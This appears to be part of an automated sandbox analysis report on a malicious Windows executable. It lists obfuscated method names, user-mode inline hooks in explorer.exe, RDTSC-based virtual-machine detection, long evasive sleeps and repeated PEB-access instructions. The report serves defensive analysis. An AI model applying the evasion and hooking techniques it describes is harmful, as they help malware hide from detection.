Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, qCKfVZDTTLbfMY8TSL.cs	High entropy of concatenated method names: 'E3NSLUBZZq', 'bYTSAM5Fsi', 'xfDSaD9UWq', 'i00SgchJBh', 'DgCSdkvHyh', 'POUSENtJfV', 'tgeSZXvraH', 'orSSDx04dF', 'gtaSCxdGlL', 'kAZSFskPts'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, aeih4850tCygqgvN25.cs	High entropy of concatenated method names: 'GH38jjxGsP', 'Iuy8TbhtZp', 'Aph8Ge7fDh', 'Q2q8PUGGFa', 'JwY8o7r2uc', 'jsh8J9fTUZ', 'ogW8lNtVw9', 'u4A8fSjkdL', 'FDQ8OhR4Y1', 'BuI8NKKi6y'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, G7ZMqUarOIYkDdbkRW.cs	High entropy of concatenated method names: 'Dispose', 'yRp6pjWoZu', 'cTFqP2B6sh', 'gHSttBZ1hj', 'gNR6B1PhfJ', 'IeX6zRkgxL', 'ProcessDialogKey', 'yUJq9PpxSb', 'xHsq6fMSht', 'H7Iqq8RPRN'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, Iu4ZYc69hOfmwAxsFlO.cs	High entropy of concatenated method names: 'oowctZ0Zme', 'kYMceA13dG', 'iUqcYp9iPH', 'MJUcRt2LGR', 'h9ycief1Hi', 'DOIcwi0Jmb', 'PYZcUaPcT7', 'lBEcjp1ulk', 'vyfcToylkN', 'HelckP2fG2'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, qFJdNBqjj4uODIWIhK.cs	High entropy of concatenated method names: 'ypwYXU9hB', 'tltRemsu9', 'A31wk6CLq', 'A9HUrDerc', 'yLST0DSKo', 'qVLk70ob7', 'hmwAOixhJRWvidKuMd', 'bE4AGxFKj6rgvMfIYZ', 'ekl2usjMu', 'SAsupHHAj'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, K2wBRMjdm6agx0EcTv.cs	High entropy of concatenated method names: 'y2WaHFmxsT', 'kHnasieWZq', 'OaUaVY4RYL', 'H5ga0t6T4K', 'VJ3ahU8tXc', 'eDRaxQTXli', 'tuDayjuYJf', 'UScabNrYPg', 'jLtapQJobC', 'GrBaBGssEF'
Source: 1.2.2FcJgghyXg.exe.41d52f0.2.raw.unpack, nRPRNWBauvUXMaKqsE.cs	High entropy of concatenated method names: 'Vlpc6TD2SK', 'Th0cSjJZmn', 'y0Cc7DPYva', 'dg3cAEfdVT', 'fexcaQfrNR', 'QsOcdvbI2v', 'ia0cEM8y1O', 'w002yFsrty', 'JJr2bn3113', 'gDw2pbrqxA'

Hooking and other Techniques for Hiding and Protection

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x82 0x2E 0xE0

Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: 2FcJgghyXg.exe PID: 7656, type: MEMORYSTR

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\2FcJgghyXg.exe	RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	RDTSC instruction interceptor: First address: 0000000000409B6E second address: 0000000000409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\msdt.exe	RDTSC instruction interceptor: First address: 0000000002CA9904 second address: 0000000002CA990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\msdt.exe	RDTSC instruction interceptor: First address: 0000000002CA9B6E second address: 0000000002CA9B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Windows\explorer.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_3-13965

Source: C:\Users\user\Desktop\2FcJgghyXg.exe TID: 7660	Thread sleep time: -37529s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe TID: 7676	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\msdt.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\msdt.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

Code function: 2_2_00409AA0 rdtsc

2_2_00409AA0

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 877			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 865			Jump to behavior

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

API coverage: 7.5 %

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Thread delayed: delay time: 37529			Jump to behavior
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: explorer.exe, 00000003.00000000.1258733334.0000000000C86000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 43 bd 4f fb d6 f7-05 68 d7 e7 4d 4c b1 65
Source: explorer.exe, 00000003.00000000.1258733334.0000000000C86000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ware, Inc.NoneVMware-42 27 43 bd 4f fb d6 f7-05 68 d7 e7 4d 4c b1 65VMware7
Source: explorer.exe, 00000003.00000002.2509722390.0000000009242000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000003.00000002.2499028894.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000z
Source: explorer.exe, 00000003.00000002.2509722390.00000000093C3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: explorer.exe, 00000003.00000002.2509722390.0000000009242000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000Y
Source: explorer.exe, 00000003.00000002.2509722390.0000000009360000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1267280115.00000000093F5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1267280115.0000000009360000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2509722390.00000000093F4000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000003.00000000.1258733334.0000000000C86000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareCloudData.Scope
Source: explorer.exe, 00000003.00000000.1258733334.0000000000C86000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware7
Source: explorer.exe, 00000003.00000002.2499028894.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000
Source: explorer.exe, 00000003.00000002.2509722390.00000000095C2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&11bd2db8&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000002.2509722390.0000000009242000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&11bd2db8&0&000000*rN(
Source: explorer.exe, 00000003.00000002.2502312360.0000000004C2A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&11bd2db8&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}g
Source: explorer.exe, 00000003.00000002.2516134404.000000000BA83000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&11BD2DB8&0&000000

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

Code function: 2_2_00409AA0 rdtsc

2_2_00409AA0

Source: C:\Users\user\Desktop\2FcJgghyXg.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0187519B mov eax, dword ptr fs:[00000030h]	2_2_0187519B
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C514F mov eax, dword ptr fs:[00000030h]	2_2_017C514F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C514F mov eax, dword ptr fs:[00000030h]	2_2_017C514F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C514F mov eax, dword ptr fs:[00000030h]	2_2_017C514F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C514F mov eax, dword ptr fs:[00000030h]	2_2_017C514F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C514F mov eax, dword ptr fs:[00000030h]	2_2_017C514F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C514F mov eax, dword ptr fs:[00000030h]	2_2_017C514F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C514F mov eax, dword ptr fs:[00000030h]	2_2_017C514F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C514F mov eax, dword ptr fs:[00000030h]	2_2_017C514F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C514F mov eax, dword ptr fs:[00000030h]	2_2_017C514F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C514F mov eax, dword ptr fs:[00000030h]	2_2_017C514F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C514F mov eax, dword ptr fs:[00000030h]	2_2_017C514F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C514F mov eax, dword ptr fs:[00000030h]	2_2_017C514F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C514F mov eax, dword ptr fs:[00000030h]	2_2_017C514F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018491B0 mov eax, dword ptr fs:[00000030h]	2_2_018491B0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A514D mov eax, dword ptr fs:[00000030h]	2_2_017A514D
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017E0145 mov eax, dword ptr fs:[00000030h]	2_2_017E0145
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179A147 mov eax, dword ptr fs:[00000030h]	2_2_0179A147
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179A147 mov eax, dword ptr fs:[00000030h]	2_2_0179A147
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179A147 mov eax, dword ptr fs:[00000030h]	2_2_0179A147
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018741C0 mov eax, dword ptr fs:[00000030h]	2_2_018741C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018741C0 mov eax, dword ptr fs:[00000030h]	2_2_018741C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018741C0 mov eax, dword ptr fs:[00000030h]	2_2_018741C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018741C0 mov eax, dword ptr fs:[00000030h]	2_2_018741C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018741C0 mov eax, dword ptr fs:[00000030h]	2_2_018741C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018741C0 mov eax, dword ptr fs:[00000030h]	2_2_018741C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018741C0 mov eax, dword ptr fs:[00000030h]	2_2_018741C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179F113 mov eax, dword ptr fs:[00000030h]	2_2_0179F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0185B1EF mov eax, dword ptr fs:[00000030h]	2_2_0185B1EF
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018751F7 mov eax, dword ptr fs:[00000030h]	2_2_018751F7
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0184F1F5 mov eax, dword ptr fs:[00000030h]	2_2_0184F1F5
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0184F1F5 mov eax, dword ptr fs:[00000030h]	2_2_0184F1F5
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0184F1F5 mov eax, dword ptr fs:[00000030h]	2_2_0184F1F5
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0184F1F5 mov eax, dword ptr fs:[00000030h]	2_2_0184F1F5
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0184F1F5 mov eax, dword ptr fs:[00000030h]	2_2_0184F1F5
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0184F1F5 mov eax, dword ptr fs:[00000030h]	2_2_0184F1F5
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0184F1F5 mov eax, dword ptr fs:[00000030h]	2_2_0184F1F5
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017BB100 mov eax, dword ptr fs:[00000030h]	2_2_017BB100
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017991F0 mov eax, dword ptr fs:[00000030h]	2_2_017991F0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017991F0 mov eax, dword ptr fs:[00000030h]	2_2_017991F0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017981EB mov eax, dword ptr fs:[00000030h]	2_2_017981EB
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0185F113 mov eax, dword ptr fs:[00000030h]	2_2_0185F113
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C91D4 mov eax, dword ptr fs:[00000030h]	2_2_017C91D4
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017D71C8 mov eax, dword ptr fs:[00000030h]	2_2_017D71C8
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017D71C8 mov eax, dword ptr fs:[00000030h]	2_2_017D71C8
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0187513F mov eax, dword ptr fs:[00000030h]	2_2_0187513F
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A41C0 mov eax, dword ptr fs:[00000030h]	2_2_017A41C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A41C0 mov eax, dword ptr fs:[00000030h]	2_2_017A41C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A41C0 mov eax, dword ptr fs:[00000030h]	2_2_017A41C0
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A61B9 mov eax, dword ptr fs:[00000030h]	2_2_017A61B9
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017DD190 mov eax, dword ptr fs:[00000030h]	2_2_017DD190
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017DD190 mov ecx, dword ptr fs:[00000030h]	2_2_017DD190
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0185C08D mov eax, dword ptr fs:[00000030h]	2_2_0185C08D
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0185B090 mov ecx, dword ptr fs:[00000030h]	2_2_0185B090
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0185F0A6 mov eax, dword ptr fs:[00000030h]	2_2_0185F0A6
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017A8049 mov eax, dword ptr fs:[00000030h]	2_2_017A8049
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C5044 mov eax, dword ptr fs:[00000030h]	2_2_017C5044
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C5044 mov ecx, dword ptr fs:[00000030h]	2_2_017C5044
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_018750BC mov eax, dword ptr fs:[00000030h]	2_2_018750BC
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017C903B mov eax, dword ptr fs:[00000030h]	2_2_017C903B
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179D02D mov eax, dword ptr fs:[00000030h]	2_2_0179D02D
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov eax, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov ecx, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov ecx, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov eax, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov ecx, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov ecx, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov eax, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov eax, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov eax, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov eax, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov eax, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov eax, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov eax, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov eax, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov eax, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov eax, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov eax, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017B7010 mov eax, dword ptr fs:[00000030h]	2_2_017B7010
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017990F8 mov eax, dword ptr fs:[00000030h]	2_2_017990F8
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017990F8 mov eax, dword ptr fs:[00000030h]	2_2_017990F8
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017990F8 mov eax, dword ptr fs:[00000030h]	2_2_017990F8
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_017990F8 mov eax, dword ptr fs:[00000030h]	2_2_017990F8
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_01875001 mov eax, dword ptr fs:[00000030h]	2_2_01875001
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0179C0F6 mov eax, dword ptr fs:[00000030h]	2_2_0179C0F6
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0186A012 mov eax, dword ptr fs:[00000030h]	2_2_0186A012
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0182001C mov eax, dword ptr fs:[00000030h]	2_2_0182001C
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0182001C mov eax, dword ptr fs:[00000030h]	2_2_0182001C
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0182001C mov eax, dword ptr fs:[00000030h]	2_2_0182001C
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0182001C mov ecx, dword ptr fs:[00000030h]	2_2_0182001C
Source: C:\Users\user\Desktop\2FcJgghyXg.exe	Code function: 2_2_0182001C mov eax, dword ptr fs:[00000030h]	2_2_0182001C
